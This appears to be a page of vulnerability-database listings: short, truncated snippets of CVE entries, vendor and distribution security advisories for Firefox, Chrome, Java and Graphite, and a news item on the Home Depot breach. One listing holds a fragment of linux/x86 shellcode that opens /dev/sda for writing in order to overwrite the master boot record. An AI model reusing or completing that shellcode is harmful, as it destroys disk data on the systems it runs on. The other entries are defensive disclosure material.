PT-2016-1278 · Mozilla +6 · Firefox Esr +7

Name of the Vulnerable Software and Affected Versions: Libgraphite versions 1.2.4 Mozilla Firefox versions prior to 43.0 Firefox ESR versions prior to 38.6.1 Description: The issue is related to the SillMap::readFace function in FeatureMap.cpp, which mishandles a return value. This can be exploit...

PT-2016-1279 · Mozilla +5 · Firefox +9

Name of the Vulnerable Software and Affected Versions: Graphite 2 versions 1.2.4 and earlier Mozilla Firefox versions prior to 43.0 Mozilla Firefox ESR versions 38.x prior to 38.6.1 Thunderbird affected versions not specified Description: The issue is related to the TtfUtil:LocaLookup function in...

chromium-browser: Cross-origin bypass in Editing.

core/dom/Document.cpp in Blink, as used in Google Chrome before 43.0.2357.65, enables the inheritance of the designMode attribute, which allows remote attackers to bypass the Same Origin Policy by leveraging the availability of editing...

chromium-browser: Various fixes from internal audits, fuzzing and other initiatives.

Multiple unspecified vulnerabilities in Google Chrome before 43.0.2357.65 allow attackers to cause a denial of service or possibly have other impact via unknown vectors...

Google Chrome Denial of Service Vulnerability (CNVD-2015-03372)

Google Chrome is a web browser developed by the American company Google Google. A security vulnerability exists in versions of Google Chrome prior to 43.0.2357.65 that allows an attacker to cause a denial of service via unknown vectors...

Google Chrome memory misreference vulnerability (CNVD-2015-03356)

Google Chrome is a web browser developed by the American company Google Google. A memory misreference vulnerability exists in versions of Google Chrome prior to 43.0.2357.65. This vulnerability allows remote attackers to execute arbitrary code in the current program context...

SUSE SLES11 Security Update : Mozilla Firefox (SUSE-SU-2014:0665-1)

This Mozilla Firefox and Mozilla NSS update fixes several security and non-security issues. Mozilla Firefox has been updated to 24.5.0esr which fixes the following issues : - MFSA 2014-34/CVE-2014-1518 Miscellaneous memory safety hazards - MFSA 2014-37/CVE-2014-1523 Out of bounds read while...

SUSE SLES10 Security Update : Mozilla Firefox (SUSE-SU-2014:0727-1)

This Mozilla Firefox update provides several security and non-security fixes. Mozilla Firefox has been updated to 24.5.0esr, which fixes the following issues : - MFSA 2014-34/CVE-2014-1518 Miscellaneous memory safety hazards - MFSA 2014-37/CVE-2014-1523 Out of bounds read while decoding JPG image...

SUSE SLES10 Security Update : Mozilla Firefox (SUSE-SU-2014:0665-2)

This Mozilla Firefox update provides several security and non-security fixes. Mozilla Firefox has been updated to the 24.5.0esr version, which fixes the following issues : - MFSA 2014-34/CVE-2014-1518 Miscellaneous memory safety hazards - MFSA 2014-37/CVE-2014-1523 Out of bounds read while decodi...

UBUNTU-CVE-2015-1265

Multiple unspecified vulnerabilities in Google Chrome before 43.0.2357.65 allow attackers to cause a denial of service or possibly have other impact via unknown vectors...

Home Depot Breach Cost Company $43 Million in Third Quarter

The massive Home Depot data breach disclosed earlier this fall involved the theft of 56 million credit and debit card numbers, and now the company has revealed that the incident so far has cost it $43 million. The costs are the result of both the investigation into the data breach as well as the...

linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes

No description provided by source. ; linux/x86 overwrite MBR on /dev/sda with LOL!' 43 bytes ; root@thegibson ; 2010-01-15 section .text global start start: ; open/dev/sda, OWRONLY; mov al, 5 xor ecx, ecx push ecx push dword 0x6164732f push dword 0x7665642f mov ebx, esp inc ecx int 0x80 ; writefd...

openSUSE Security Update : MozillaThunderbird (openSUSE-SU-2014:0640-1)

This is a MozillaThunderbird update to version 24.5.0 : - MFSA 2014-34/CVE-2014-1518 Miscellaneous memory safety hazards - MFSA 2014-37/CVE-2014-1523 bmo969226 Out of bounds read while decoding JPG images - MFSA 2014-38/CVE-2014-1524 bmo989183 Buffer overflow when using non-XBL object as XBL - MF...

openSUSE: Security Advisory for MozillaFirefox (openSUSE-SU-2013:0946-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2013 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

MozillaFirefox: update to version 21.0 (important)

MozillaFirefox was updated to Firefox 21.0 bnc819204 MFSA 2013-41/CVE-2013-0801/CVE-2013-1669 Miscellaneous memory safety hazards MFSA 2013-42/CVE-2013-1670 bmo853709 Privileged access for content level constructor MFSA 2013-43/CVE-2013-1671 bmo842255 File input control has access to full path MF...

OpenJDK: java.beans.ThreadGroupContext missing restrictions (Beans, 7200507)

Unspecified vulnerability in the Java Runtime Environment JRE component in Oracle Java SE 7 Update 17 and earlier and 6 Update 43 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Beans...

CVE-2013-2417

Unspecified vulnerability in the Java Runtime Environment JRE component in Oracle Java SE 7 Update 17 and earlier, 6 Update 43 and earlier, and 5.0 Update 41 and earlier; and OpenJDK 6 and 7; allows remote attackers to affect availability via unknown vectors related to Networking. NOTE: the...

CVE-2013-2418

Unspecified vulnerability in the Java Runtime Environment JRE component in Oracle Java SE 7 Update 17 and earlier and 6 Update 43 and earlier allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Deployment...

CVE-2013-1558

Unspecified vulnerability in the Java Runtime Environment JRE component in Oracle Java SE 7 Update 17 and earlier and 6 Update 43 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Beans...

Critical: Red Hat Security Advisory: java-1.6.0-sun security update

Updated java-1.6.0-sun packages that fix two security issues are now available for Red Hat Enterprise Linux 5 and 6 Supplementary. The Red Hat Security Response Team has rated this update as having critical security impact. Common Vulnerability Scoring System CVSS base scores, which give detailed...